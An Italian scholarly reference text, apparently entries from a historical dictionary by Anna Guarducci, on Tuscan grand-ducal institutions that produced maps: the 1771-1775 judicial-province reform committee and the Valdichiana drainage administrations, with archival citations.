Pianta del prato della regia Magona in luogo detto Valpiana, Gaetano Giacomelli, giugno 1807 (in ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro, f. 713, n. 19);
Pianta della Bandita delle Tane di proprietà dell’I. e R. Amministrazione delle Miniere e Fonderie del Ferro, metà XIX secolo (ASF, Miscellanea di Piante, n. 243.a);
Tre piante della Bandita della Sassa in Comune di Pomarance di proprietà dell’I. e R. Amministrazione delle Miniere e Fonderie del Ferro, metà XIX secolo (ASF, Miscellanea di Piante, n. 243.b);
Atlante di undici tavole con Progetto del Signor Ingegnere Augusto Ponsard per il rordinamento delle Miniere di Rio, Augusto Ponsard, 1862 (ASF, Miscellanea di Piante, n. 280).

Operatori

Dionisio Mazzuoli (1712); Giuseppe Buonamici, ministro a Massa (seconda metà del sec. XVIII); Sebastiano Flosi, ingegnere (seconda metà del sec. XVIII); Giovanni Gamberai (1773-93); Bernardino della Porta, ingegnere architetto (1800); Gaetano Giacomelli (1807); Luigi Leoni, architetto (1818-70); Augusto Ponsard, ingegnere (1862).

Riferimenti bibliografici e archivistici

Rombai e Tognarini, 1986; Rombai, Toccafondi e Vivoli, 1987, p. 44; Quattrucci, 1994, passim; ASF, Magona; ASF, I. e R. Amministrazione della Miniera di Rio e delle Fonderie del Ferro (per le centinaia di segnature interessate con relazioni descrittive e cartografie spesso non firmate o attribuite, cfr. Quattrucci, 1994, passim).

Anna Guarducci (Siena)

Giunta deputata alla riforma del Compartimento Provinciale Provinciale (31 marzo 1771-maggio 1775) (Granducato di Toscana)

La Giunta o “deputazione” fu istituita con motuproprio 31 marzo 1771 per procedere – proprio mentre si stava progettando la grandiosa riforma comunitativa che di lì a pochi anni avrebbe ridisegnato radicalmente l’assetto delle autonomie locali della Toscana (con l’accorpare i circa 3000 soggetti tradizionalmente esistenti in sole 201 unità di base) – alla riforma dell’amministrazione periferica della giustizia, attraverso la riorganizzazione profonda e razionale del territorio, ossia delle “province giudiziarie”, in cui era suddiviso il Granducato: vale a dire, i vicariati o circoscrizioni giudiziarie penali con la maglia più fitta delle sotto province giudiziarie civili, o podesterie, che di regola accorpavano ciascuna varie comunità.
La Giunta deputata era costituita dai funzionari Pompeo Neri (illuminista ben noto, soprattutto per la parte rilevante avuta nella realizzazione del catasto teresiano), Giuseppe Pelli Bencivenni, Tommaso Piccolomini e Stefano Querci.
Il granduca Pietro Leopoldo raccomandava – nelle istruzioni allegate al motuproprio – di prestare particolare attenzione all’organizzazione geografica del Granducato, per stabilire delle nuove province e per abrogare quelle vecchie, per localizzare le nuove sedi giudiziarie in posizioni centrali e facilmente raggiungibili mediante la viabilità, oltre che per trasferire comunità o parrocchie da una provincia all’altra e per eliminare le tante isole amministrative o “salti” esistenti. Tra gli obiettivi fondamentali dell’operazione c’era quello per cui ciascun comune e addirittura ciascun popolo “resti distintamente conosciuto e separato dagli altri a tutti gli effetti di ragione con l’ordine geografico” (ASF, Consulta poi Regia Consulta, f. 465, cc. 2-3).

Per il buon successo di tale impegnativo compito era fondamentale per la Giunta disporre di cartografi che possedessero – oltre alle indispensabili qualità tecniche – vere e proprie conoscenze e attitudini geografiche, vale a dire cultura territoriale e capacità di lavoro sul terreno.
Data la scarsa conoscenza della geografia toscana, “Neri rivendicò l’impiego degli ingegneri come un mezzo di imprescindibile importanza per cogliere le strutture territoriali” (Stopani, 2001, p. 33), e la scelta cadde su tre ingegneri architetti granducali di grande esperienza e considerazione: in primo luogo Ferdinando Morozzi, che si era già occupato del problema fin dal tentativo della Reggenza del 1751 diretto dal funzionario Gaetano Canini (Morozzi aveva allora redatto mappe generali e particolari, e anche nel 1771-75 spettò a lui la maggior parte del lavoro), e successivamente Francesco Bombicci e Giovanni Franceschi, vale a dire il fior fiore della burocrazia tecnica granducale dell’epoca.
Sappiamo che Morozzi, nella prima fase del lavoro, impiegò 64 giornate “in campagna” (dal 7 ottobre all’11 novembre 1771), percependo “lire 10 al giorno per vitto e dieta, e il rimborso delle spese vive delle vetture”, per condurre le visite alla Romagna Granducale, alle Podesterie di Pontassieve, Dicomano, S. Godenzo, e a quelle dell’Aretino, del Valdarno di Sopra, del Chianti (ASF, Consulta poi Regia Consulta, f. 469, cc. 72-74).
Morozzi presentò una prima relazione il 12 febbraio 1772 sul lavoro già svolto nella Toscana nord-orientale, con tanto di puntuali descrizioni geografiche (corredate da cartografie) per ciascuna delle località abitate anche piccole e per ciascuna comunità (ASF, Consulta poi Regia Consulta, f. 481, cc. 227-230): tale memoria costituì la base del motuproprio del 30 settembre 1772 che riorganizzava il sistema provinciale limitatamente al territorio dell’antico Stato Fiorentino.
Il granduca, allora, il 15 ottobre 1772, incaricò Morozzi di eliminare le isole amministrative, vale a dire le aree e i luoghi dipendenti da un tribunale che si trovavano all’interno di altre circoscrizioni giudiziarie: il tutto doveva avvenire mediante il disegno di “una pianta dimostrativa di questi territori intralciati per ridurre ogni giurisdizione a un circondario unico e semplice”, con indicazioni circa l’estensione di ogni isola e il numero delle case e degli abitanti, con tanto di riferimento alle rispettive parrocchie.
Il lavoro richiese molto tempo e, dal gennaio 1773, il Morozzi poté contare sulla collaborazione di Bombicci e Franceschi, che si suddivisero col primo il territorio granducale da visitare e analizzare: Morozzi il circondario di Firenze e i vicariati di Certaldo, S. Gimignano, S. Miniato, Empoli, Prato, Pescia, Pistoia, Montagna, Radda e S. Giovanni; Franceschi i vicariati di Monte S. Savino, Sestino, Bagno, Rocca S. Casciano, Modigliana, Marradi e Poppi; Bombicci quelli di Pisa, Lari, Campiglia e Volterra.
Le visite dovevano essere mirate, cioè finalizzate alla risoluzione dei casi “dubbiosi” che la Giunta aveva provveduto ad elencare in tre distinti documenti “relativi alle circostanze dei luoghi e consegnati, sotto forma di precise istruzioni, a ciascun ingegnere; per ogni situazione visitata, i tre operatori dovevano produrre le piante e le osservazioni necessarie “per correggere i respettivi circondari” (ASF, Consulta poi Regia Consulta, f. 469, cc. 62-69).
I tre ingegneri poterono consegnare le relazioni con le mappe dei “salti” e le altre documentazioni prodotte fino al 1775 (ASF, Consulta poi Regia Consulta, f. 488, cc. 63-691. Altre piante in ivi, f. 475 e in ASF, Segreteria di Finanze. Affari anteriori al 1788, f. 905).
Il lavoro non era tuttavia concluso, perché l’insorgere di reclami da parte degli abitanti di questo o quel centro abitato che si dimostrarono insoddisfatti delle soluzioni adottate spinsero la Giunta a spedire nuovamente Morozzi, nei primi mesi del 1775, in varie località del Granducato, per verificare la fondatezza delle lamentele e delle richieste alternative da parte della popolazione, con tanto di redazione di ulteriori memorie spesso illustrate da mappe. E finalmente, il 18 maggio 1775, la Giunta poté approvare il nuovo assetto delle province giudiziarie dello Stato Vecchio di Firenze, con a grandi linee l’indicazione dei confini delle medesime che poi dovevano essere dettagliatamente stabiliti sul terreno, con il contributo obbligatorio degli stessi vicari territorialmente interessati. Si prescriveva anche che nelle relative memorie fossero descritti “tutti i confini reali di fiumi, strade e sommità di monti che sono soliti formare la linea di divisione tra i diversi territori e tutti i termini manufatti che converrà piantare per indicare le linee mentali a cui conviene ricorrere quando la linea di divisione si stacca e si allontana dai confini reali”. A questo punto, “tutta la divisione del territorio sarebbe regolare e potrebbe farsi la pianta geografica di ogni giurisdizione e di ciascheduna comunità in cui restasse divisa” (ASF, Consulta poi Regia Consulta, f. 475, c. 147 ss.).
In effetti, considerando tutta l’operazione della riforma provinciale – più ancora di quella comunale – si deve riconoscere che “è l’uso della cartografia che marca la distanza rispetto alla riforma guidata da Gianni [cioè la comunale e] la carta rappresenta qui uno strumento di conoscenza e un mezzo tecnico di pianificazione”, oltre che come futuro “ostacolo alle nuove dispute che sogliono insorgere tra confinanti” (Stopani, 2001, pp. 31 e 41).

Produzione cartografica

Come già enunciato, le decine di relazioni degli ingegneri Morozzi, Bombicci e Franceschi sono spesso corredate da carte o disegni cartografici più o meno parziali del territori analizzati e specialmente dei “salti”. Tra queste rappresentazioni, spicca la Pianta del Vicariato di Bagnone, Ferdinando Morozzi, 1772, che servì ottimamente a stabilire la nuova sede vicariale, appunto a Bagnone, “più nel centro del Capitanato di quel che sia Castiglion del Terziere” (ASF, Consulta poi Regia Consulta, f. 467, c. 535); per il resto, lo stesso Morozzi rilevava che nelle mappe in genere non era riprodotto “il vero preciso confine”, e che esse erano puramente “dimostrative”, perché di necessità eseguite a scala troppo piccola per decidere “se una casa vada levata o no da qualche giurisdizione o se il podere deva esser tagliato dalla linea dei termini o da un borro o da una strada” (ASF, Consulta poi Regia Consulta, f. 488, c. 97).

Operatori

Ferdinando Morozzi (ingegnere e architetto, in carica dal 1771); Francesco Bombicci (ingegnere, in carica dal 1773); Giovanni Franceschi (ingegnere, in carica dal 1773).

Riferimenti bibliografici e archivistici

Archivio di Stato di Firenze, 1991, pp. 64-75; Stopani, 2001, pp. 30-41. ASF, Consulta poi Regia Consulta, ff. 347, 435, 465-493, 503-517, 738, 752, 759-760, 761-764, 773; ASF, Segreteria di Finanze. Affari anteriori al 1788, f. 905.

Anna Guarducci (Siena)

Deputazioni per la Valdichiana (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Deputazione (o Commissione) per la Val di Chiana (1783-1792)

Regia Soprintendenza delle Acque della Val di Chiana (1794-1808)

Dipartimento dell’Acque della Provincia di Val di Chiana e Amministrazione dei Beni della Corona di Val di Chiana (1808-1814)

Amministrazione Economico-Idraulica della Val di Chiana e Amministrazione dei Beni della Corona in Val di Chiana (1816-1861)

Una prima Soprintendenza sulla Valdichiana pare sia stata istituita nel 1702. Infatti, con mp del 5 agosto di quell’anno, il soprassindaco dei Nove, Andrea Poltri, venne “eletto e delegato Soprintendente Generale e Giudice privativo di ogni e qualunque operazione per l’affare delle Chiane”, con l’assistenza tecnica degli ingegneri Pier Antonio Tosi per conto dello Scrittoio delle Regie Possessioni e Giovanni Franchi, poi sostituito da Luigi Orlandi (ASF, Capitani di Parte. Numeri Neri, f. 1599, c. 1, e f. 1605). Non è dato sapere però se questa Soprintendenza abbia continuato a lavorare e per quale tempo.
Occorre attendere il 1783, perché il granduca Pietro Leopoldo nominasse una moderna Deputazione (o Commissione) per la Val di Chiana, formata da sei notabili locali eletti nella zona e presieduta da Angelo Tavanti, che aveva il compito di coordinare i lavori della bonifica.
Dal 1788 la direzione del lavori di bonifica venne affidata a Vittorio Fossombroni, nominato Soprintendente alla bonifica (carica che manterrà fino al 1827); il mp del 2 settembre recitava: “considerando […] che l’importante articolo delle colmate esige di essere regolato e diretto con vedute uniformi tendenti unicamente al comune vantaggio della provincia e dei rispettivi proprietari che hanno i loro beni in colmata, comandò che la generale soprintendenza di tutte le colmate fosse affidata al Visitatore dei beni di campagna dell’Ordine di S. Stefano”.
L’anno successivo, il Fossombroni pubblicò le Memorie idraulico-storiche sopra la Valdichiana (Montepulciano, Tip. Fumi, 1835), corredate di un apparato cartografico inciso da G. Canocchi, precisamente: la Pianta d’insieme della Valle di Chiana con i corsi dell’Arno, Tevere e Chiana, la Mappa del corso della Chiana (secondo il modello del Corsini), la più particolare Mappa del territorio di Arezzo (inquadrato tra la collina di S. Fiora e la confluenza della Chiana in Arno) e il Profilo della livellazione del Canal Maestro della Chiana (eseguito da Giuseppe Salvetti nel 1769), con l’utilizzazione e la rielaborazione grafica della pianta prospettica quattrocentesca che si conserva nella Cattedrale di Arezzo (Guarducci, 2005).
Uno degli incarichi del soprintendente era quello di visitare annualmente la valle al fine di valutare le opere di bonifica in corso, e quindi l’operato dei deputati che, a quanto si evince, appariva al Fossombroni non sempre apprezzabile; ogni visita era documentata in una dettagliata relazione che veniva puntalmente inviata al granduca. In quella del 30 luglio 1790, si diceva ad esempio che i deputati, anziché procedere alla manutenzione del Canale Maestro, promuovevano “lavori grandiosi” che eccedevano “le loro facoltà decisionali” e che gli ordini da lui impartiti nella visita precedente non erano stati eseguiti, anzi, il Canale era “sempre più sfigurato e malconcio” e vi erano stati eseguite opere assolutamente condannabili, che egli non mancava di elencare.
Nello stesso anno 1790, un’altra visita ai lavori in Valdichiana era stata ordinata dal Granduca al canonico matematico e idraulico Pio Fantoni che, nel mese di giugno, vi si recò insieme all’ingegnere Giovanni Franceschi; la relazione, pubblicata a Firenze nel 1791, era corredata di una serie di tavole (Di Pietro, 2005, pp. 134-139; il documento è in ASF, Scrittoio delle Regie Possessioni, f. 5269).
Nel 1792 la deputazione fu soppressa per le forti dispute interne originate dai troppi particolarismi, e le sue competenze trasferite al soprassindaco della Camera delle Comunità, come era nel periodo precedente alle riforme leopoldine.
Nell’agosto dello stesso anno, in luogo della Deputazione abolita, l’aretino Niccolò Gamurrini venne nominato Deputato a sovrintendere ai lavori del Canale Maestro e, dal 1798, venne chiamato a dirigere la parte amministrativa delle fattorie della Religione di S. Stefano, in qualità di Direttore dell’Amministrazione dell’Ordine di S. Stefano in Valdichiana, al posto dell’Auditore Neri, morto nel febbraio di quell’anno.
Sempre nel 1792, il Fossombroni si dimise dall’incarico di Visitatore dei beni di campagna della Religione per potersi dedicare completamente, e soprattutto in piena autonomia rispetto ai proprietari della zona, all’incarico di Soprintendente alla bonifica (Di Pietro, 2005, pp. 141-145).
In funzione di un maggiore accentramento delle pratiche della bonifica e di una gestione unitaria della riorganizzazione territoriale, con mp del 6 dicembre 1794, venne istituita la Regia Soprintendenza delle Acque della Val di Chiana che “completava il processo di attribuzione ad un organismo autonomo dai particolari possessori delle funzioni e competenze generali legate alla bonifica”, avviato nel 1792 con l’abolizione della Deputazione precedente (Guarducci, 2001, passim).
L’obiettivo primario era infatti quello di organizzare e gestire a livello globale tutti gli interventi di bonifica in modo da pianificare una situazione che, nei periodi precedenti, era stata condotta senza un preciso disegno unitario e, talvolta, in modo troppo contingente e particolaristico.
L’incarico di Soprintendente Generale al Dipartimento delle Acque della Valdichiana venne confermato a Vittorio Fossombroni che lo mantenne, ininterrottamente, fino al 1827 (Guarducci, 2001, passim).
Al Soprintendente, che aveva l’incarico di effettuare le consuete visite annuali, spettava la direzione tanto del Canale Maestro, tanto quella dei Canali e delle Chiarine di Chiusi, del Passo alla Querce, nonché di tutte le colmate che sarebbero state intraprese sia per gli interessi delle Reali Possessioni che dell’Ordine di S. Stefano o di altri proprietari privati.
Nel 1801, Andrea Nuti (dal 1800 aggiunto al Fossombroni) redasse il “Regolamento Idraulico della Valdichiana” (emanato il 14 gennaio), in base al quale il comprensorio venne suddiviso in 14 circondari idraulici che (divenuti 21 nel 1843) dovevano restare in vigore fino al 1865 col Governo Italiano, allorché – con normative del 1865 e 1868 – il territorio italiano venne organizzato in consorzi idraulici formati e gestiti anche economicamente dai comuni interessati.
Sempre nel 1801, con sovrano rescritto del 22 luglio, venne stabilito il Catasto d’Imposizione del Circondario del fiume Salarco, per opera degli ingegneri Iacopo Gugliantini e Luigi Mazzoni.
Nel 1806 venne realizzata la nuova colmata dell’Esse, già progettata dal Nuti nel 1800 (Borchi, 1988; Di Pietro, 2005, pp. 141-143).
Dal 1808, con l‘annessione della Toscana all’Impero francese e la sua successiva suddivisione nei tre Dipartimenti del Mediterraneo, dell’Ombrone e dell’Arno, la Valdichiana entrò a far parte di quest’ultimo.
Con la nomina del Sovrintendente Fossombroni a senatore e conte dell’Impero, i lavori in Valdichiana vennero seguiti dall’ingegner Nuti, aggiunto al Dipartimento delle Acque.
Dell’organico facevano parte diversi impiegati (tecnici e periti) residenti in loco ai quali, in qualità di Deputati, vennero assegnati i diversi settori della valle con l’incarico di seguire le operazioni di bonifica. Tra questi ricordiamo: Giuseppe Billi (Deputato ai lavori delle colmate, scoli e torrenti); Leopoldo Guidi (aiuto al Deputato di Chiusi); Pietro Zampi (Camarlingo dell’Imposizione per i lavori suddetti); Vincenzo Bottari (sostituto al Camarlingo in Chiusi); Niccolò Gamurrini (Deputato ai lavori al Canale Maestro); Luigi Mazzoni (altro Deputato per i Canali delle Chiarine e del Passo alla Querce, direzione del Callone di Valiano); Giuseppe Ghizzi (Camarlingo dell’Imposizione del Canale Maestro); Domenico Colombi (Camarlingo dell’Imposizione dei Canali delle Chiarine e del Passo alla Querce); Giovanni Lischi (custode della Fabbrica del Callone) (Di Pietro, 2005, pp. 143-146; ASF, Scrittoio delle Regie Possessioni, f. 5269).
Dal 12 maggio 1808 il Dipartimento delle Acque della Valdichiana non fu più a carico dello Stato ma dei particolari interessati alle opere di bonifica, comprese le due amministrazioni delle Imperiali Possessioni e dell’Ordine di S. Stefano.
Con decreto imperiale del 9 aprile 1809 venne soppresso l’Ordine di S. Stefano e le sue fattorie passarono al demanio e poste sotto la direzione dell’Amministrazione dei Beni della Corona di Val di Chiana, già creata da Pietro Leopoldo e mantenuta, anche da un punto di vista amministrativo, dai Francesi; il ruolo di Amministratore venne confermato al Gamurrini che però, nello stesso anno 1809, venne destituito dall’incarico per presunte irregolarità contabili e sostituito con Francesco De Cambray Digny (Di Pietro, 2005, pp. 143-146).
Con la Restaurazione, l’ente preposto alla bonifica della Valdichiana cambiò nuovamente denominazione, con l’istituzione della Amministrazione Economico-Idraulica della Val di Chiana (con rescritto del 26 maggio 1816). Tale organismo nasceva da una proposta del Gamurrini, sostenuta dal Fossombroni.
Compito principale della nuova magistratura, oltre al proseguimento dei lavori di bonifica, era la gestione delle 12 fattorie demaniali, incorporando pertanto anche le funzioni della già rammentata Amministrazione dei Beni della Corona in Val di Chiana.
Il 12 giugno 1816, in base a precise istruzioni firmate dal Fossombroni e dal Sergardi, si stabilì la “consegna delle dodici Fattorie della Valdichiana alla nuova Amm.ne Economico-Idraulica stabilita nella Città d’Arezzo” (nel “Palazzo della Corona”, già sede dei Ministri dell’Ordine”), coerentemente al mp del 27 maggio 1816 (Guarducci, 2001; ASF, Segreteria di Gabinetto, f. 164, ins. 5).
Una volta liquidate tutte le questioni sospese, si stabiliva che sarebbero passati alla nuova amministrazione, dotata di un proprio archivio, “fondi e capitali”, oltre a tutti i documenti relativi; in occasione del passaggio, vennero stilati inventari di beni, attrezzi, ecc.
Anche l’Amministrazione Economico-Idraulica fu una istituzione che nacque per volontà statale, con competenze sia amministrative che idrauliche, con il compito precipuo di amministrare i possedimenti dell’Ordine stefaniano (non ritenuto abbastanza affidabile per tale compito) in Valdichiana (Guarducci, 2001, passim).
Soprintendente generale fu nominato ancora Fossombroni (che già nel 1814, al rientro dei Lorena in Toscana, era stato nominato da Ferdinando III Segretario di Stato e confermato anche nell’incarico in Valdichiana ove rimase fino al 1828); Federigo Capei, aiuto Soprintendente (dal 1826 responsabile diretto dell’Amministrazione Economico-Idraulica al posto dell’oramai vecchio Fossombroni e, fra il 1827 e il 1833, anche Direttore dell’Amministrazione dei Beni della Corona dell’Aretino); Tommaso Albergotti, primo commesso archivista.
L’Amministrazione ebbe, fin dalla sua nascita, come ingegneri dipendenti, Jacopo Gugliantini (dal 1816 al 1824, come si può dedurre dalla firma dei progetti, dopo di che si evince che sia stato in qualche modo estromesso dai ruoli, o per licenziamento o per pensionamento) e Alessandro Manetti (dal 1816 al 1825 e poi dal 1838 al 1861, ingegnere idraulico, figlio dell’ingegnere e architetto Giuseppe, conosciuto e apprezzato dal Fossombroni nel suo soggiorno parigino in qualità di senatore), i quali ricoprirono contemporaneamente due cariche nell’amministrazione statale, operando anche presso il “Dipartimento delle Acque”.
Presso quest’ultimo ramo dell’Amministrazione, operavano anche alcuni periti di campagna, in particolare emergono i nomi di: “Mazzoni Luigi, Deputato del Dipartimento delle Acque e Perito Agrario” (in altri documenti definito anche “Perito della Corona”), attivo sicuramente dal 1817 al 1826; Francesco Cerretelli e Gastone Laparelli nei primi anni ’30 (ASF, Scrittoio delle Regie Possessioni, f. 817, inss. 34 e 36).
Nel “Progetto di Nuovo Ruolo per l’Amministrazione Economico-Idraulica dell’I. e R. Corona in Val di Chiana” del 1819, il Capei propone al Fossombroni la nomina, nel ruolo di aiuto ingegnere, del giovane Lorenzo Corsi di Firenze (figlio del defunto segretario Corsi), che già da alcuni anni collaborava con Manetti in Valdichiana e veniva, in qualche modo, già ricompensato dall’Amministrazione. La nomina del Corsi venne decisa anche per sostituire – come avverrà, sia pur gradualmente – la figura del Gugliantini, che non godeva di buona considerazione da parte del Capei, e per sopperire anche alle numerose assenze del Manetti, “d’altri più importanti e difficili lavori contemporaneamente incaricato”.
Dal documento si evince inoltre che il Gugliantini e il Manetti godevano di una provvisione annua di 360 scudi, mentre l’aiuto Corsi di 180; costoro erano tenuti a servire indistintamente anche il Dipartimento delle Acque. Gli ingegneri percepivano inoltre una diaria di lire sette per la cavalcatura quando si recavano “in gita di servizio nella Provincia”, oltre al rimborso delle spese vive occorrenti per le operazioni in campagna. Venivano poi loro pagate “le copie delle Piante, Progetti e Relazioni a ragione di lire cinque al giorno per il numero delle giornate che possono occorrere per far ciascuna copia, restando compreso in detta somma la spesa della carta, colori e tutt’altro” (ASF, Segreteria di Gabinetto, f. 164, ins. 3).
In allegato, troviamo precise e dettagliate istruzioni scritte (“Progetto d’Istruzioni per l’Ingegneri dell’Amministrazione Economico-Idraulica della Val di Chiana”), in 16 articoli (ASF, Segreteria di Gabinetto, f. 164. Miscellanee XIX, Ins. 4, Allegato G), che recitano:
1. I lavori vengono approvati prima dal Direttore, e dagli ingegneri dipendono gli altri dipendenti sia dell’Amministrazione che del Dipartimento delle Acque.
2. In caso di emergenza l’ingegnere può ordinare lavori rendendo conto sollecitamente alla Direzione.
3. Gli ingegneri devono fare relazioni, perizie di stima e tutto quanto viene loro richiesto dal Direttore, oltre a disegni, piante, livellazioni e misurazioni necessari.
4. I progetti non possono essere modificati dagli ingegneri senza l’assenso della Direzione.
5. Tutti i lavori fatti devono essere depositati nell’archivio dell’Amministrazione.
6. Gli ingegneri devono effettuare tutte le visite che vengono loro ordinate e chiedere il permesso per effettuare quelle che ritengono opportune, accompagnare il direttore nelle sue visite e fornirgli tutte le informazioni dal medesimo richieste sui lavori.
7. Quando gli ingegneri sono fuori devono tenere corrispondenza regolare con la direzione per render conto di tutto e chiedere le necessarie approvazioni.
8. In caso di malattia si suppliscono a vicenda.
9. Le strade tenute in accollo dall’Amministrazione e quelle vicinali, i lavori di fabbriche, colmate, argini, fossi e scoli, ponti, e tutti i lavori di mantenimento, sia di nuova costruzione, che si eseguiscano a spese dell’Amministrazione o del Dipartimento Dell’Acque, saranno sotto la special sorveglianza degli Ingegneri. Essi devono visitarli tutte le volte che è necessario e impartire ai lavoranti, sia per scritto che a voce, “le istruzioni e regole opportune perché i lavori di ogni genere sieno eseguiti colla maggiore regolarità, solidità e perfezione possibile, e venga di essi praticato quel diligente custodimento capace di produrre nel tempo stesso economia e sicurezza”.
10. Oltre a quanto detto, devono fare una visita trimestrale nelle fattorie e nella provincia per poter render conto alla Direzione sia dei lavori in corso che dello stato di strade, ponti, ecc., oltre che per controllare i lavoranti e “qualora ritrovassero delle frodi o trascuranza nell’esecuzione dei fatti lavori, ricuseranno il certificato di pagamento alli accollatari e cottimanti e il bene stare alle note delli agenti, e proporranno le convenienti deduzioni, defalchi, ecc.”.
11. Nelle visite ai corsi d’acqua devono particolarmente prender cognizione della situazione.
12. Entro la fine dell’anno devono presentare un prospetto con i lavori previsti per l’annata successiva “tanto per mantenimento che per nuova costruzione di fabbriche, colmate” ecc., completo della previsione delle spese urgenti o da differire o sospendere.
13. Per quanto riguarda la costruzione o rifacimento o adattamento di case coloniche e annessi di fattoria, gli ingegneri “si concerteranno con l’ispettore per fare in ciascuno di detti casi alla Direzione quel progetto che sarà creduto il migliore tanto per la salute e comodo dei contadini e per la conservazione dei bestiami e grasce, che in veduta dell’opportuna economia”.
14. Alla fine di ogni mese devono riscontrare e dare il loro benestare a tutti quei documenti, note, conti e carte varie riguardanti i lavori e apporre le dovute correzioni, “seppure non lo avranno già fatto in occasione di gite nelle respettive fattorie”, come si raccomanda loro di fare sempre, soprattutto per i “conti dei manifattori, con i quali possono entrare in maggiori chiarimenti sulla faccia dei luoghi, avendo sott’occhio i lavori eseguiti da ciascuno di essi”.
15. Per ogni lavoro occorre un certificato che attesti la spesa fatta assieme al dettaglio dei lavori, da sottoporre al visto della Direzione.
16. “In generale gl’Ingegneri saranno tenuti di prestarsi a tutte le occorrenze del servizio, in qualunque tempo e caso esser possa necessaria e ricercata dal Direttore l’opera loro in vantaggio dell’Amministrazione e del Dipartimento dell’Acque della Provincia, e specialmente in tempo di forti piogge ed alluvioni” (Guarducci, 2001, passim).

Con la nuova amministrazione, sotto il restaurato governo lorenese, le operazioni di bonifica, in un clima generale di grandi lavori pubblici, dedicati in gran parte anche al sistema stradale, ricevettero un nuovo e significativo impulso.
A questo proposito, si segnala che anche una parte del sistema stradale risultava sotto la direzione dell’ente. Nel “Regolamento per il servizio degli stradini incaricati per la mano d’opera necessaria” alle strade in accollo all’Amministrazione Economico-Idraulica di Valdichiana, del 6 ottobre 1817, firmato dal Capei, troviamo che questi lavoratori “dipendono esclusivamente dagli ordini degli Ingegneri” incaricati di dirigere i lavori, ai quali “devono rendere esatto conto […] della quantità del materiale che impiegano”; essi non possiedono un orario di lavoro preciso con l’unica eccezione dell’obbligo “di passare al lavoro l’intera giornata del mercoledì di ogni settimana, e di essere reperibili sulla strada dal levare al tramontare del sole, per ricevere gli ordini e istruzioni che gli verranno date dall’Ingegnere, il quale sceglierà preferibilmente quel giorno per visitare i lavori”. In caso di esigenze contingenti l’Ingegnere può dislocare gli stradini nelle varie “stazioni” come ritiene opportuno e, se riscontra negligenze, può adottare certe misure affinché i lavori procedano nel migliore dei modi, con la facoltà di arrivare anche al licenziamento. I pagamenti degli stradini avvengono “alle respettive fattorie sui buoni dell’Ingegnere…” (ASF, Scrittoio delle Regie Possessioni, f. 3842).
Relativamente alle operazioni idrauliche, nel 1818 “il Fossombroni invita il Manetti a realizzare una completa livellazione della Val di Chiana, riconoscendone la specifica competenza in materia idraulica, competenza che per la prima volta viene applicata nelle vicende della bonifica, fino allora programmata e gestita da matematici e ingegneri, anche di grande prestigio ma non competenti in materia” (Di Pietro, 2005, p. 147 e ss.).
Nel 1819 il Manetti realizza (disegnata con Jacopo Frilli e stampata a Firenze da Leonardo Ciardetti) la Carte de la Vallèe de la Chiana (ASF, Segreteria di Gabinetto. Appendice, 251, ins. IV, c. 4; e ASF, Piante Topografiche delle Regie Possessioni, c. 100).
Si segnala poi l’opera dal titolo: Operazioni idrauliche eseguite in Val di Chiana dall’Ingegnere Alessandro Manetti a tutto l’anno 1821 (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), in 5 volumi rilegati, ove Manetti inserisce le Livellazioni del Canale Maestro della Chiana fatte dagli Ingegneri Salvetti e Manetti la 1° nell’anno 1769 la 2° nell’anno 1820, con sovrapposizione delle due livellazioni perché siano facilmente confrontabili. Anche nelle annotazioni alla Mappa idraulica della Pianura di Val di Chiana esprimente i lavori di bonificazione che sono in attività nell’anno 1822, lo stesso Manetti mette a confronto la livellazione generale fatta in occasione del concordato del 1780 (che entrò in vigore nel 1782) con quella del 1820 per dimostrare, con dati precisi, il rialzamento dei recinti di colmata (soprattutto i sei recinti delle Bozze di Chiusi e il Lago di Montepulciano) (Guarducci, 2005, pp. 77-78).
Vale la pena ribadire che è grazie all’attività infaticabile di Alessandro Manetti e alle sue memorie a stampa, che una parte di questa cartografia delle acque finisce con l’acquistare “nella prima metà dell’800 un’impronta decisamente divulgativa” per “la volontà politica, prima ancora che scientifica, di celebrare i successi dell’opera di bonifica avviata da Pietro Leopoldo” (Breschi, 1981, p. 24): tale obiettivo venne infatti perseguito con le memorie del 1823, del 1840 e del 1849, redatte e pubblicate anche e soprattutto “per far conoscere primieramente gli acquisti di terreno fatti […] i quali sembran inverosimili e quasi favolosi” alla “comune generale intelligenza” (come il nostro tecnico scrive).
La prima memoria è intitolata Carte idrauliche dello stato antico e moderno della Valle di Chiana […] (Manetti, 1823), con tre tavole: lo Stato antico della Valle di Chiana […]; la Livellazione generale delle Chiane […]; e la Mappa idraulica della pianura della Val di Chiana […].
Quest’ultima (contenente, in un riquadro, la tradizionale e parziale Carta che dimostra il corso della Chiana fra il Tevere e l’Arno) (ASF, Piante della Direzione Generale dell’Ufficio delle Acque e Strade, c. 1806), rispetto al prototipo manettiano del 1819, raffigura per la prima volta con modulo ormai geometrico, e in dettaglio topografico, “la valle in tutta la sua lunghezza (ma solo il tratto centrale intorno al Canale Maestro) dall’argine e callone pontificio alla chiusa dei Monaci, con la ‘fotografia’ dello stato della bonifica (canali, colmate, residue aree palustri), e con il tracciato dell’antica via Cassia, interrotto in più punti” (Rombai, Toccafondi e Vivoli, 1987, p. 93).
La seconda memoria (Manetti, 1840) ripropone la Carta che dimostra il corso della Chiana fra il Tevere e l’Arno, ma con qualche contenuto in più riguardo agli affluenti di sinistra della Chiana rispetto a quella riportata nella finestra della Mappa idraulica del 1823.
La terza memoria Sulla sistemazione delle acque della Valdichiana e sul bonificamento delle Maremme (Manetti, 1849) contiene sei tavole, tra cui (oltre alla ricostruzione tematico-storica dei Grafici delle livellazioni della Chiana previste dal Torricelli sec. XVII, Fossombroni sec. XVIII, Progetto del 1838, Progetto del Paleocapa 1845) la Carta della Valle di Chiana nell’anno 1849 che finalmente rappresenta il tipo cartografico moderno dimensionato sull’intera valle, con il progetto dei nuovi allaccianti di sinistra e di destra (Guarducci, 2005, pp. 78-79).
Nel 1825, il Manetti, nominato sotto-ispettore del nuovo Corpo degli Ingegneri di Acque e Strade, lasciò il servizio in Valdichiana, proseguendo la sua attività di ingegnere idraulico anche in altri comprensori.
